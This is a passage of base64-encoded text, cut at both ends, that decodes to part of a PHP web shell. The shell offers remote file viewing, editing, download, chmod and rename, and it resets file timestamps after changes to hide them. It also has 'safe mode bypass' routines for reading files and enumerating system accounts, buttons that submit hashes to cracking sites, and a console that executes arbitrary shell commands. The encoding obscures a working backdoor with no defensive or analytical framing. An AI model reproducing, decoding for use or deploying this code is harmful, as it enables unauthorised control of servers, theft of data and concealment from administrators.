bS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21pbHcwcm0uY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1pbHcwcm0uY29tL2NyYWNrZXIvc2VhcmNoLnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNraW5nLmluZm8nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLmluZm8vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCTwvZm9ybT48L2Rpdj4iOw0KCXdzb0Zvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgew0KCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkNCgkJJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7DQoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7DQoJCQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsNCgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsNCgkJCX0gZWxzZQ0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSghQGZlb2YoJGZwKSkNCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCX0NCgkJfWV4aXQ7DQoJfQ0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgew0KCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgew0KCQkJJG15bXRpbTM9QGZpbGVtdGltZSgnLicpOw0KCQkJJG15YXRpbTM9QGZpbGVtdGltZSgnLicpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCgkJCWlmKCRmcCkgew0KCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsNCgkJCQlmY2xvc2UoJGZwKTsNCgkJCQlAdG91Y2goJy4nLCAkbXltdGltMywgJG15YXRpbTMpOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQl3c29Gb290ZXIoKTsNCgkJcmV0dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCgkJCQkkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlICdjaG1vZCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHBlcm1zID0gMDsNCgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KCQkJCWlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdlZGl0JzoNCgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQoJCQkJJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQoJCQkJaWYoJGZwKSB7DQoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQoJCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAndG91Y2gnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQoJCQkJaWYoJHRpbWUpIHsNCgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQoJCQkJCQllY2hvICdGYWlsISc7DQoJCQkJCWVsc2UNCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsNCgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KCSR0ZW1wPScnOw0KCW9iX3N0YXJ0KCk7DQoJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQljYXNlIDE6DQoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQoJCQlpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCgkJCQl1bmxpbmsoJHRlbXApOw0KCQkJfSBlbHNlDQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCgkJCWlmKCBpc19hcnJheSgkZmlsZXMpICkNCgkJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5wcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWN1cmxfZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQoJCQkJaWYgKCR1aWQpDQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCX0NCgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJaWYoJHRlbXApDQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nOw0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSB0cnVlOw0KICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSBmYWxzZTsNCg0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsNCgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7DQoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCXdzb0hlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KC